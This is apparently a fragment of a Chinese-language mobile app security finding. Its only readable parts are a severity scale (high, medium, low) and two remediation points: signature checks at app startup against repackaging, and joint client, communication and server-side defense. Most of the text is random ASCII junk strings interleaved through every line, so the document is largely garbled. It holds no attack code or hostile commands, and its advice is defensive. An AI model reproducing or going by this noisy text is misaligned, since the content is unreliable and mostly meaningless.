/ |& O$ q9 C& [& A! d 6 |; r/ [, L( o/ S 严重程度 0 i* G7 t. T* U1 d, S. W ; Z4 B) T/ k, K2 M& \) t) u! w D4 P5 B7 i3 g7 v- a# y	高 ( a- U- n8 P; e0 T" m3 ]6 ?# n 3 T7 {" l* v7 i' G+ n W 2 T3 o& R3 k4 V	7 c( H- q2 m/ |( G9 n: c/ U ■ 4 g, R3 ]/ x; r1 U( p8 { * E9 h8 W) x- z2 R6 T' U	/ L7 N0 o8 i5 n $ A( q" u0 ~- F4 z2 ? ! r+ O% p6 P" X4 l: e, v( s$ @# T 中 8 Q. v& H3 V8 M' q. A. z+ S7 }% [, ~ ( T3 w3 {$ r, c4 q% o/ q / e4 D* ], [, I; o	4 p9 ]) a0 f! T; @" z# B& X + n3 o& w# B7 G; f. k% r8 K* F   $ g3 [" O- o8 a2 Q3 h4 S 6 w+ s9 _8 U) n( t 9 p) Z+ X5 t- C5 A% k	$ Q8 t, u: d( |* `: L. Y8 D9 ^$ D ' v$ G: `2 ^3 w" X7 ~& N9 V 低 " s. C _8 P! j% u# U: v 0 Y2 `# O# L$ E; H: I	' [( x; [/ m1 N/ ?# v* X. H % X. {( h) O# a8 X) }7 m ( g4 Y+ |" c3 f

X2 T8 M& E s

 

修复方法：

, V ]; b- d& E5 U2 ~" g

              1.在 APP 启动时应做签名校验防止二次打包。
# q/ A6 ?1 i# I, G5 V& L7 ?0 q 2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。 3 n" Q [! o# {# x; v; K" b3 a

) d9 d$ `; X+ A 8 T8 r) a3 ?, ~, _$ _# j/ r+ q& p   4 Y5 b% U% }# Z; F" K. z' ^; R* s

& J$ v$ ~: H. J4 P3 ~ " A( \, E0 u8 _$ e; }5 I9 h x 3 q x' j- z! I

U- o7 v* i9 o r* p7 Y8 k, ]
4 i5 i7 V6 ]5 J9 Y1 q, [

# p+ W K9 e6 \$ B, x8 g0 P; \